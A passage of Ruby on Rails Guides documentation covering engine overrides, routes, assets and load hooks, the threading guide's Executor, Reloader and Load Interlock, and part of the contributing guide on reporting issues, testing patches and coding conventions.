    include Engine.routes.url_helpers

    def test_index
      get foos_url
      # ...
    end
  end
end

It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it how. To do this, you must set the @routes instance variable to the engine's route set in your setup code:

  module Blorgh
  class FooControllerTest < ActionDispatch::IntegrationTest
    include Engine.routes.url_helpers

    setup do
      @routes = Engine.routes
    end

    def test_index
      get foos_url
      # ...
    end
  end
end

This tells the application that you still want to perform a GET request to the index action of this controller, but you want to use the engine's route to get there, rather than the application's one.

This also ensures that the engine's URL helpers will work as expected in your tests.

6 Improving Engine Functionality

This section explains how to add and/or override engine MVC functionality in the main Rails application.

6.1 Overriding Models and Controllers

Engine models and controllers can be reopened by the parent application to extend or decorate them.

Overrides may be organized in a dedicated directory app/overrides, ignored by the autoloader, and preloaded in a to_prepare callback:

  # config/application.rb
module MyApp
  class Application < Rails::Application
    # ...

    overrides = "#{Rails.root}/app/overrides"
    Rails.autoloaders.main.ignore(overrides)

    config.to_prepare do
      Dir.glob("#{overrides}/**/*_override.rb").sort.each do |override|
        load override
      end
    end
  end
end

6.1.1 Reopening Existing Classes Using class_eval

For example, in order to override the engine model

  # Blorgh/app/models/blorgh/article.rb
module Blorgh
  class Article < ApplicationRecord
    # ...
  end
end

you just create a file that reopens that class:

  # MyApp/app/overrides/models/blorgh/article_override.rb
Blorgh::Article.class_eval do
  # ...
end

It is very important that the override reopens the class or module. Using the class or module keywords would define them if they were not already in memory, which would be incorrect because the definition lives in the engine. Using class_eval as shown above ensures you are reopening.

6.1.2 Reopening Existing Classes Using ActiveSupport::Concern

Using Class#class_eval is great for simple adjustments, but for more complex class modifications, you might want to consider using ActiveSupport::Concern. ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.

Adding Article#time_since_created and Overriding Article#summary:

  # MyApp/app/models/blorgh/article.rb

class Blorgh::Article < ApplicationRecord
  include Blorgh::Concerns::Models::Article

  def time_since_created
    Time.current - created_at
  end

  def summary
    "#{title} - #{truncate(text)}"
  end
end

  # Blorgh/app/models/blorgh/article.rb
module Blorgh
  class Article < ApplicationRecord
    include Blorgh::Concerns::Models::Article
  end
end

  # Blorgh/lib/concerns/models/article.rb

module Blorgh::Concerns::Models::Article
  extend ActiveSupport::Concern

  # `included do` causes the block to be evaluated in the context
  # in which the module is included (i.e. Blorgh::Article),
  # rather than in the module itself.
  included do
    attr_accessor :author_name
    belongs_to :author, class_name: "User"

    before_validation :set_author

    private
      def set_author
        self.author = User.find_or_create_by(name: author_name)
      end
  end

  def summary
    "#{title}"
  end

  module ClassMethods
    def some_class_method
      'some class method string'
    end
  end
end

6.2 Autoloading and Engines

Please check the Autoloading and Reloading Constants guide for more information about autoloading and engines.

6.3 Overriding Views

When Rails looks for a view to render, it will first look in the app/views directory of the application. If it cannot find the view there, it will check in the app/views directories of all engines that have this directory.

When the application is asked to render the view for Blorgh::ArticlesController's index action, it will first look for the path app/views/blorgh/articles/index.html.erb within the application. If it cannot find it, it will look inside the engine.

You can override this view in the application by simply creating a new file at app/views/blorgh/articles/index.html.erb. Then you can completely change what this view would normally output.

Try this now by creating a new file at app/views/blorgh/articles/index.html.erb and put this content in it:

  <h1>Articles</h1>
<%= link_to "New Article", new_article_path %>
<% @articles.each do |article| %>
  <h2><%= article.title %></h2>
  <small>By <%= article.author %></small>
  <%= simple_format(article.text) %>
  <hr>
<% end %>

6.4 Routes

Routes inside an engine are isolated from the application by default. This is done by the isolate_namespace call inside the Engine class. This essentially means that the application and its engines can have identically named routes and they will not clash.

Routes inside an engine are drawn on the Engine class within config/routes.rb, like this:

  Blorgh::Engine.routes.draw do
  resources :articles
end

By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as articles_path may end up going to undesired locations if both the application and the engine have such a helper defined.

For instance, the following example would go to the application's articles_path if that template was rendered from the application, or the engine's articles_path if it was rendered from the engine:

  <%= link_to "Blog articles", articles_path %>

To make this route always use the engine's articles_path routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.

  <%= link_to "Blog articles", blorgh.articles_path %>

If you wish to reference the application inside the engine in a similar way, use the main_app helper:

  <%= link_to "Home", main_app.root_path %>

If you were to use this inside an engine, it would always go to the application's root. If you were to leave off the main_app "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.

If a template rendered from within an engine attempts to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the main_app prefix from within the engine.

6.5 Assets

Assets within an engine work in an identical way to a full application. Because the engine class inherits from Rails::Engine, the application will know to look up assets in the engine's app/assets and lib/assets directories.

Like all of the other components of an engine, the assets should be namespaced. This means that if you have an asset called style.css, it should be placed at app/assets/stylesheets/[engine name]/style.css, rather than app/assets/stylesheets/style.css. If this asset isn't namespaced, there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be ignored.

Imagine that you did have an asset located at app/assets/stylesheets/blorgh/style.css. To include this asset inside an application, just use stylesheet_link_tag and reference the asset as if it were inside the engine:

  <%= stylesheet_link_tag "blorgh/style.css" %>

You can also specify these assets as dependencies of other assets using Asset Pipeline require statements in processed files:

  /*
 *= require blorgh/style
 */

Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's .gemspec.

6.6 Separate Assets and Precompiling

There are some situations where your engine's assets are not required by the host application. For example, say that you've created an admin functionality that only exists for your engine. In this case, the host application doesn't need to require admin.css or admin.js. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include "blorgh/admin.css" in its stylesheets. In this situation, you should explicitly define these assets for precompilation. This tells Sprockets to add your engine assets when bin/rails assets:precompile is triggered.

You can define assets for precompilation in engine.rb:

  initializer "blorgh.assets.precompile" do |app|
  app.config.assets.precompile += %w( admin.js admin.css )
end

For more information, read the Asset Pipeline guide.

6.7 Other Gem Dependencies

Gem dependencies inside an engine should be specified inside the .gemspec file at the root of the engine. The reason is that the engine may be installed as a gem. If dependencies were to be specified inside the Gemfile, these would not be recognized by a traditional gem install and so they would not be installed, causing the engine to malfunction.

To specify a dependency that should be installed with the engine during a traditional gem install, specify it inside the Gem::Specification block inside the .gemspec file in the engine:

  s.add_dependency "moo"

To specify a dependency that should only be installed as a development dependency of the application, specify it like this:

  s.add_development_dependency "moo"

Both kinds of dependencies will be installed when bundle install is run inside of the application. The development dependencies for the gem will only be used when the development and tests for the engine are running.

Note that if you want to immediately require dependencies when the engine is required, you should require them before the engine's initialization. For example:

  require "other_engine/engine"
require "yet_another_engine/engine"

module MyEngine
  class Engine < ::Rails::Engine
  end
end

7 Load and Configuration Hooks

Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as ActiveRecord::Base, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as ActiveRecord::Base on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application.

Load and configuration hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts.

7.1 Avoid Loading Rails Frameworks

Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance:

  ActiveRecord::Base.include(MyActiveRecordHelper)

This snippet means that when this file is loaded, it will encounter ActiveRecord::Base. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot.

ActiveSupport.on_load is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to:

  ActiveSupport.on_load(:active_record) do
  include MyActiveRecordHelper
end

This new snippet will only include MyActiveRecordHelper when ActiveRecord::Base is loaded.

7.2 When are Hooks called?

In the Rails framework these hooks are called when a specific library is loaded. For example, when ActionController::Base is loaded, the :action_controller_base hook is called. This means that all ActiveSupport.on_load calls with :action_controller_base hooks will be called in the context of ActionController::Base (that means self will be an ActionController::Base).

7.3 Modifying Code to Use Load Hooks

Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as ActiveRecord::Base you can wrap that code in a load hook.

Modifying calls to include

  ActiveRecord::Base.include(MyActiveRecordHelper)

becomes

  ActiveSupport.on_load(:active_record) do
  # self refers to ActiveRecord::Base here,
  # so we can call .include
  include MyActiveRecordHelper
end

Modifying calls to prepend

  ActionController::Base.prepend(MyActionControllerHelper)

becomes

  ActiveSupport.on_load(:action_controller_base) do
  # self refers to ActionController::Base here,
  # so we can call .prepend
  prepend MyActionControllerHelper
end

Modifying calls to class methods

  ActiveRecord::Base.include_root_in_json = true

becomes

  ActiveSupport.on_load(:active_record) do
  # self refers to ActiveRecord::Base here
  self.include_root_in_json = true
end

7.4 Available Load Hooks

These are the load hooks you can use in your own code. To hook into the initialization process of one of the following classes use the available hook.

Class | Hook
ActionCable | action_cable
ActionCable::Channel::Base | action_cable_channel
ActionCable::Connection::Base | action_cable_connection
ActionCable::Connection::TestCase | action_cable_connection_test_case
ActionController::API | action_controller_api
ActionController::API | action_controller
ActionController::Base | action_controller_base
ActionController::Base | action_controller
ActionController::TestCase | action_controller_test_case
ActionDispatch::IntegrationTest | action_dispatch_integration_test
ActionDispatch::Response | action_dispatch_response
ActionDispatch::Request | action_dispatch_request
ActionDispatch::SystemTestCase | action_dispatch_system_test_case
ActionMailbox::Base | action_mailbox
ActionMailbox::InboundEmail | action_mailbox_inbound_email
ActionMailbox::Record | action_mailbox_record
ActionMailbox::TestCase | action_mailbox_test_case
ActionMailer::Base | action_mailer
ActionMailer::TestCase | action_mailer_test_case
ActionText::Content | action_text_content
ActionText::Record | action_text_record
ActionText::RichText | action_text_rich_text
ActionView::Base | action_view
ActionView::TestCase | action_view_test_case
ActiveJob::Base | active_job
ActiveJob::TestCase | active_job_test_case
ActiveRecord::Base | active_record
ActiveStorage::Attachment | active_storage_attachment
ActiveStorage::VariantRecord | active_storage_variant_record
ActiveStorage::Blob | active_storage_blob
ActiveStorage::Record | active_storage_record
ActiveSupport::TestCase | active_support_test_case
i18n | i18n

7.5 Available Configuration Hooks

Configuration hooks do not hook into any particular framework, but instead they run in context of the entire application.

Hook | Use Case
before_configuration | First configurable block to run. Called before any initializers are run.
before_initialize | Second configurable block to run. Called before frameworks initialize.
before_eager_load | Third configurable block to run. Does not run if config.eager_load set to false.
after_initialize | Last configurable block to run. Called after frameworks initialize.

Configuration hooks can be called in the Engine class.

  module Blorgh
  class Engine < ::Rails::Engine
    config.before_configuration do
      puts 'I am called before any initializers'
    end
  end
end

Threading and Code Execution in Rails

After reading this guide, you will know:

What code Rails will automatically execute concurrently

How to integrate manual concurrency with Rails internals

How to wrap all application code

How to affect application reloading

Chapters

Automatic Concurrency

Executor

Default Callbacks

Wrapping Application Code

Concurrency

Reloader

Callbacks

Class Unload

Concurrency

Framework Behavior

Configuration

Load Interlock

permit_concurrent_loads

ActionDispatch::DebugLocks

1 Automatic Concurrency

Rails automatically allows various operations to be performed at the same time.

When using a threaded web server, such as the default Puma, multiple HTTP requests will be served simultaneously, with each request provided its own controller instance.

Threaded Active Job adapters, including the built-in Async, will likewise execute several jobs at the same time. Action Cable channels are managed this way too.

These mechanisms all involve multiple threads, each managing work for a unique instance of some object (controller, job, channel), while sharing the global process space (such as classes and their configurations, and global variables). As long as your code doesn't modify any of those shared things, it can mostly ignore that other threads exist.

The rest of this guide describes the mechanisms Rails uses to make it "mostly ignorable", and how extensions and applications with special needs can use them.

2 Executor

The Rails Executor separates application code from framework code: any time the framework invokes code you've written in your application, it will be wrapped by the Executor.

The Executor consists of two callbacks: to_run and to_complete. The Run callback is called before the application code, and the Complete callback is called after.

2.1 Default Callbacks

In a default Rails application, the Executor callbacks are used to:

track which threads are in safe positions for autoloading and reloading

enable and disable the Active Record query cache

return acquired Active Record connections to the pool

constrain internal cache lifetimes

Prior to Rails 5.0, some of these were handled by separate Rack middleware classes (such as ActiveRecord::ConnectionAdapters::ConnectionManagement), or directly wrapping code with methods like ActiveRecord::Base.connection_pool.with_connection. The Executor replaces these with a single more abstract interface.

2.2 Wrapping Application Code

If you're writing a library or component that will invoke application code, you should wrap it with a call to the executor:

  Rails.application.executor.wrap do
  # call application code here
end

If you repeatedly invoke application code from a long-running process, you may want to wrap using the Reloader instead.

Each thread should be wrapped before it runs application code, so if your application manually delegates work to other threads, such as via Thread.new or Concurrent Ruby features that use thread pools, you should immediately wrap the block:

  Thread.new do
  Rails.application.executor.wrap do
    # your code here
  end
end

Concurrent Ruby uses a ThreadPoolExecutor, which it sometimes configures with an executor option. Despite the name, it is unrelated.

The Executor is safely re-entrant; if it is already active on the current thread, wrap is a no-op.

If it's impractical to wrap the application code in a block (for example, the Rack API makes this problematic), you can also use the run! / complete! pair:

  Thread.new do
  execution_context = Rails.application.executor.run!
  # your code here
ensure
  execution_context.complete! if execution_context
end

2.3 Concurrency

The Executor will put the current thread into running mode in the Load Interlock. This operation will block temporarily if another thread is currently either autoloading a constant or unloading/reloading the application.

3 Reloader

Like the Executor, the Reloader also wraps application code. If the Executor is not already active on the current thread, the Reloader will invoke it for you, so you only need to call one. This also guarantees that everything the Reloader does, including all its callback invocations, occurs wrapped inside the Executor.

  Rails.application.reloader.wrap do
  # call application code here
end

The Reloader is only suitable where a long-running framework-level process repeatedly calls into application code, such as for a web server or job queue. Rails automatically wraps web requests and Active Job workers, so you'll rarely need to invoke the Reloader for yourself. Always consider whether the Executor is a better fit for your use case.

3.1 Callbacks

Before entering the wrapped block, the Reloader will check whether the running application needs to be reloaded -- for example, because a model's source file has been modified. If it determines a reload is required, it will wait until it's safe, and then do so, before continuing. When the application is configured to always reload regardless of whether any changes are detected, the reload is instead performed at the end of the block.

The Reloader also provides to_run and to_complete callbacks; they are invoked at the same points as those of the Executor, but only when the current execution has initiated an application reload. When no reload is deemed necessary, the Reloader will invoke the wrapped block with no other callbacks.

3.2 Class Unload

The most significant part of the reloading process is the Class Unload, where all autoloaded classes are removed, ready to be loaded again. This will occur immediately before either the Run or Complete callback, depending on the reload_classes_only_on_change setting.

Often, additional reloading actions need to be performed either just before or just after the Class Unload, so the Reloader also provides before_class_unload and after_class_unload callbacks.

3.3 Concurrency

Only long-running "top level" processes should invoke the Reloader, because if it determines a reload is needed, it will block until all other threads have completed any Executor invocations.

If this were to occur in a "child" thread, with a waiting parent inside the Executor, it would cause an unavoidable deadlock: the reload must occur before the child thread is executed, but it cannot be safely performed while the parent thread is mid-execution. Child threads should use the Executor instead.

4 Framework Behavior

The Rails framework components use these tools to manage their own concurrency needs too.

ActionDispatch::Executor and ActionDispatch::Reloader are Rack middlewares that wrap requests with a supplied Executor or Reloader, respectively. They are automatically included in the default application stack. The Reloader will ensure any arriving HTTP request is served with a freshly-loaded copy of the application if any code changes have occurred.

Active Job also wraps its job executions with the Reloader, loading the latest code to execute each job as it comes off the queue.

Action Cable uses the Executor instead: because a Cable connection is linked to a specific instance of a class, it's not possible to reload for every arriving WebSocket message. Only the message handler is wrapped, though; a long-running Cable connection does not prevent a reload that's triggered by a new incoming request or job. Instead, Action Cable uses the Reloader's before_class_unload callback to disconnect all its connections. When the client automatically reconnects, it will be speaking to the new version of the code.

The above are the entry points to the framework, so they are responsible for ensuring their respective threads are protected, and deciding whether a reload is necessary. Other components only need to use the Executor when they spawn additional threads.

4.1 Configuration

The Reloader only checks for file changes when cache_classes is false and reload_classes_only_on_change is true (which is the default in the development environment).

When cache_classes is true (in production, by default), the Reloader is only a pass-through to the Executor.

The Executor always has important work to do, like database connection management. When cache_classes and eager_load are both true (production), no autoloading or class reloading will occur, so it does not need the Load Interlock. If either of those are false (development), then the Executor will use the Load Interlock to ensure constants are only loaded when it is safe.

5 Load Interlock

The Load Interlock allows autoloading and reloading to be enabled in a multi-threaded runtime environment.

When one thread is performing an autoload by evaluating the class definition from the appropriate file, it is important no other thread encounters a reference to the partially-defined constant.

Similarly, it is only safe to perform an unload/reload when no application code is in mid-execution: after the reload, the User constant, for example, may point to a different class. Without this rule, a poorly-timed reload would mean User.new.class == User, or even User == User, could be false.

Both of these constraints are addressed by the Load Interlock. It keeps track of which threads are currently running application code, loading a class, or unloading autoloaded constants.

Only one thread may load or unload at a time, and to do either, it must wait until no other threads are running application code. If a thread is waiting to perform a load, it doesn't prevent other threads from loading (in fact, they'll cooperate, and each perform their queued load in turn, before all resuming running together).

5.1 permit_concurrent_loads

The Executor automatically acquires a running lock for the duration of its block, and autoload knows when to upgrade to a load lock, and switch back to running again afterwards.

Other blocking operations performed inside the Executor block (which includes all application code), however, can needlessly retain the running lock. If another thread encounters a constant it must autoload, this can cause a deadlock.

For example, assuming User is not yet loaded, the following will deadlock:

  Rails.application.executor.wrap do
  th = Thread.new do
    Rails.application.executor.wrap do
      User # inner thread waits here; it cannot load
           # User while another thread is running
    end
  end

  th.join # outer thread waits here, holding 'running' lock
end

To prevent this deadlock, the outer thread can permit_concurrent_loads. By calling this method, the thread guarantees it will not dereference any possibly-autoloaded constant inside the supplied block. The safest way to meet that promise is to put it as close as possible to the blocking call:

  Rails.application.executor.wrap do
  th = Thread.new do
    Rails.application.executor.wrap do
      User # inner thread can acquire the 'load' lock,
           # load User, and continue
    end
  end

  ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
    th.join # outer thread waits here, but has no lock
  end
end

Another example, using Concurrent Ruby:

  Rails.application.executor.wrap do
  futures = 3.times.collect do |i|
    Concurrent::Promises.future do
      Rails.application.executor.wrap do
        # do work here
      end
    end
  end

  values = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
    futures.collect(&:value)
  end
end

5.2 ActionDispatch::DebugLocks

If your application is deadlocking and you think the Load Interlock may be involved, you can temporarily add the ActionDispatch::DebugLocks middleware to config/application.rb:

  config.middleware.insert_before Rack::Sendfile,
                                  ActionDispatch::DebugLocks

If you then restart the application and re-trigger the deadlock condition, /rails/locks will show a summary of all threads currently known to the interlock, which lock level they are holding or awaiting, and their current backtrace.

Generally a deadlock will be caused by the interlock conflicting with some other external lock or blocking I/O call. Once you find it, you can wrap it with permit_concurrent_loads.

Contributing to Ruby on Rails

This guide covers how you can become a part of the ongoing development of Ruby on Rails.

After reading this guide, you will know:

How to use GitHub to report issues.

How to clone main and run the test suite.

How to help resolve existing issues.

How to contribute to the Ruby on Rails documentation.

How to contribute to the Ruby on Rails code.

Ruby on Rails is not "someone else's framework". Over the years, thousands of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all to make Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are various other ways that you can contribute, from reporting issues to testing patches.

As mentioned in Rails' README, everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails code of conduct.

Chapters

Reporting an Issue

Creating a Bug Report

Create an Executable Test Case

Special Treatment for Security Issues

What about Feature Requests?

Helping to Resolve Existing Issues

Verifying Bug Reports

Testing Patches

Contributing to the Rails Documentation

Translating Rails Guides

Contributing to the Rails Code

Setting Up a Development Environment

Clone the Rails Repository

Bundle install

Running an Application Against Your Local Branch

Write Your Code

Benchmark Your Code

Running Tests

Warnings

Updating the Documentation

Updating the CHANGELOG

Ignoring Files Created by Your Editor / IDE

Updating the Gemfile.lock

Commit Your Changes

Update Your Branch

Fork

Open a Pull Request

Get Some Feedback

Iterate as Necessary

Older Versions of Ruby on Rails

Rails Contributors

1 Reporting an Issue

Ruby on Rails uses GitHub Issue Tracking to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account to submit an issue, comment on issues, or create pull requests.

Bugs in the most recent released version of Ruby on Rails will likely get the most attention. Additionally, the Rails core team is always interested in feedback from those who can take the time to test edge Rails (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing. See our maintenance policy for information on which versions are supported. Never report a security issue on the GitHub issues tracker.

1.1 Creating a Bug Report

If you've found a problem in Ruby on Rails that is not a security risk, search the Issues on GitHub, in case it has already been reported. If you cannot find any open GitHub issues addressing the problem you found, your next step will be to open a new issue. (See the next section for reporting security issues.)

We've provided an issue template for you so that when creating an issue you include all the information needed to determine whether there is a bug in the framework. Each issue needs to include a title and clear description of the problem. Make sure to include as much relevant information as possible including a code sample or failing test that demonstrates the expected behavior, as well as your system configuration. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix.

Once you open an issue it may or may not see activity right away unless it is a "Code Red, Mission Critical, the World is Coming to an End" kind of bug. That doesn't mean we don't care about your bug, just that there are a lot of issues and pull requests to get through. Other people with the same problem can find your issue and confirm the bug and may collaborate with you on fixing it. If you know how to fix the bug, go ahead and open a pull request.

1.2 Create an Executable Test Case

Having a way to reproduce your issue will help people confirm, investigate, and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:

Template for Active Record (models, database) issues: gem / main

Template for testing Active Record (migration) issues: gem / main

Template for Action Pack (controllers, routing) issues: gem / main

Template for Active Job issues: gem / main

Template for Active Storage issues: gem / main

Template for Action Mailbox issues: gem / main

Generic template for other issues: gem / main

These templates include the boilerplate code to set up a test case against either a released version of Rails (*_gem.rb) or edge Rails (*_main.rb).

Copy the content of the appropriate template into a .rb file and make the necessary changes to demonstrate the issue. You can execute it by running ruby the_file.rb in your terminal. If all goes well, you should see your test case failing.

You can then share your executable test case as a gist or paste the content into the issue description.

1.3 Special Treatment for Security Issues

Please do not report security vulnerabilities with public GitHub issue reports. The Rails security policy page details the procedure to follow for security issues.

1.4 What about Feature Requests?

Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide, you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.

Sometimes, the line between 'bug' and 'feature' is a hard one to draw. Generally, a feature is anything that adds new behavior, while a bug is anything that causes incorrect behavior. Sometimes, the Core team will have to make a judgment call. That said, the distinction generally determines which patch your change is released with; we love feature submissions! They just won't get backported to maintenance branches.

If you'd like feedback on an idea for a feature before doing the work to make a patch, please send an email to the rails-core mailing list. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted". But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.

2 Helping to Resolve Existing Issues

Beyond reporting issues, you can help the core team resolve existing ones by providing feedback about them. If you are new to Rails core development providing feedback will help you get familiar with the codebase and the processes.

If you check the issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do about these? Quite a bit, actually:

2.1 Verifying Bug Reports

For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your computer? If so, you can add a comment to the issue saying that you're seeing the same thing.

If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to reproduce the bug, or maybe you can eliminate unnecessary steps that aren't required to demonstrate the problem.

If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to explore the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the Contributing to the Rails Code section.

Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.

2.2 Testing Patches

You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. In order to apply someone's changes, first create a dedicated branch:

  $ git checkout -b testing_branch

Then, you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.

  $ git remote add JohnSmith https://github.com/JohnSmith/rails.git
$ git pull JohnSmith orange

An alternative to adding their remote to your checkout is to use the GitHub CLI tool to checkout their pull request.

After applying their branch, test it out! Here are some things to think about:

Does the change actually work?

Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?

Does it have the proper documentation coverage? Should documentation elsewhere be updated?

Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?

Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your findings. Your comment should indicate that you like the change and what you like about it. Something like:

I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.

If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.

3 Contributing to the Rails Documentation

Ruby on Rails has two main sets of documentation: the guides, which help you learn about Ruby on Rails, and the API, which serves as a reference.

You can help improve the Rails guides or the API reference by making them more coherent, consistent, or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.

To do so, make changes to Rails guides source files (located here on GitHub) or RDoc comments in source code. Then open a pull request to apply your changes to the main branch.

When working with documentation, please take into account the API Documentation Guidelines and the Ruby on Rails Guides Guidelines.

4 Translating Rails Guides

We are happy to have people volunteer to translate the Rails guides. Just follow these steps:

Fork https://github.com/rails/rails.

Add a source folder for your language, for example: guides/source/it-IT for Italian.

Copy the contents of guides/source into your language directory and translate them.

Do NOT translate the HTML files, as they are automatically generated.

Note that translations are not submitted to the Rails repository; your work lives in your fork, as described above. This is because, in practice, documentation maintenance via patches is only sustainable in English.

To generate the guides in HTML format, you will need to install the guides dependencies, cd into the guides directory, and then run (e.g., for it-IT):

  # only install gems necessary for the guides. To undo run: bundle config --delete without
$ bundle install --without job cable storage ujs test db
$ cd guides/
$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT

This will generate the guides in an output directory.

The Redcarpet Gem doesn't work with JRuby.

Translation efforts we know about (various versions):

Italian: https://github.com/rixlabs/docrails

Spanish: https://github.com/latinadeveloper/railsguides.es

Polish: https://github.com/apohllo/docrails

French : https://github.com/railsfrance/docrails

Czech : https://github.com/rubyonrails-cz/docrails/tree/czech

Turkish : https://github.com/ujk/docrails

Korean : https://github.com/rorlakr/rails-guides

Simplified Chinese : https://github.com/ruby-china/guides

Traditional Chinese : https://github.com/docrails-tw/guides

Russian : https://github.com/morsbox/rusrails

Japanese : https://github.com/yasslab/railsguides.jp

Brazilian Portuguese : https://github.com/campuscode/rails-guides-pt-BR

5 Contributing to the Rails Code

5.1 Setting Up a Development Environment

To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you must be able to run its test suite. In this section of the guide, you'll learn how to set up the tests on your computer.

5.1.1 Using GitHub Codespaces

If you're a member of an organization that has codespaces enabled, you can fork Rails into that organization and use codespaces on GitHub. The Codespace will be initialized with all required dependencies and allows you to run all tests.

If you're not a member of an organization that has codespaces enabled you can use the VS Code remote containers plugin. The plugin will read the .devcontainer configuration in the repository and build the Docker container locally.

5.1.2 Using rails-dev-box

It's also possible to use the rails-dev-box to get a development environment ready. However, the rails-dev-box uses Vagrant and Virtual Box which will not work with the M1 processors.

5.1.3 Local Development

When you can't use GitHub Codespaces, see this other guide for how to set up local development. This is considered the hard way because installing dependencies may be OS specific.

5.2 Clone the Rails Repository

To be able to contribute code, you need to clone the Rails repository:

  $ git clone https://github.com/rails/rails.git

and create a dedicated branch:

  $ cd rails
$ git checkout -b my_new_branch

It doesn't matter much what name you use because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.

5.3 Bundle install

Install the required gems.

  $ bundle install

5.4 Running an Application Against Your Local Branch

In case you need a dummy Rails app to test changes, the --dev flag of rails new generates an application that uses your local branch:

  $ cd rails
$ bundle exec rails new ~/my-test-app --dev

The application generated in ~/my-test-app runs against your local branch and, in particular, sees any modifications upon server reboot.

For JavaScript packages, you can use yarn link to source your local branch in a generated application:

  $ cd rails/activestorage
$ yarn link
$ cd ~/my-test-app
$ yarn link "@rails/activestorage"

5.5 Write Your Code

Now it's time to write some code! When making changes for Rails here are some things to keep in mind:

Follow Rails style and conventions.

Use Rails idioms and helpers.

Include tests that fail without your code, and pass with it.

Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.

If the change adds, removes, or changes a feature, be sure to include a CHANGELOG entry. If your change is a bug fix, a CHANGELOG entry is not necessary.

Changes that are cosmetic and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about our rationales behind this decision).

5.5.1 Follow the Coding Conventions

Rails follows a simple set of coding style conventions:

Two spaces, no tabs (for indentation).

No trailing whitespace. Blank lines should not have any spaces.

Indent and no blank line after private/protected.

Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.

Prefer &&/|| over and/or.

Prefer class << self over self.method for class methods.

Use my_method(my_arg) not my_method( my_arg ) or my_method my_arg.

Use a = b and not a=b.

Use assert_not methods instead of refute.

Prefer method { do_stuff } instead of method{do_stuff} for single-line blocks.

Follow the conventions in the source you see used already.

The above are guidelines - please use your best judgment in using them.

Additionally, we have RuboCop rules defined to codify some of our coding conventions. You can run RuboCop locally against the file that you have modified before submitting a pull request:

  $ bundle exec rubocop actionpack/lib/action_controller/metal/strong_parameters.rb
Inspecting 1 file
.

1 file inspected, no offenses detected

For rails-ujs CoffeeScript and JavaScript files, you can run npm run lint in actionview folder.

5.5.2 Spell Checking

We are running misspell which is mainly written in Golang to check spelling with GitHub Actions. Correct commonly misspelled English words quickly with misspell. misspell is different from most other spell checkers because it doesn't use a custom dictionary. You can run misspell locally against all files with:

  find . -type f | xargs ./misspell -i 'aircrafts,devels,invertions' -error

Notable misspell help options or flags are:

-i string: ignore the following corrections, comma separated

-w: Overwrite file with corrections (default is just to display)

We also run codespell with GitHub Actions to check spelling and codespell runs against a small custom dictionary. codespell is written in Python and you can run it with:

  codespell --ignore-words=codespell.txt

5.6 Benchmark Your Code

For changes that might have an impact on performance, please benchmark your code and measure the impact. Please share the benchmark script you used as well as the results. You should consider including this information in your commit message, to allow future contributors to easily verify your findings and determine if they are still relevant. (For example, future optimizations in the Ruby VM might render certain optimizations unnecessary.)

When optimizing for a specific scenario that you care about, it is easy to regress performance for other common cases. Therefore, you should test your change against a list of representative scenarios, ideally extracted from real-world production applications.

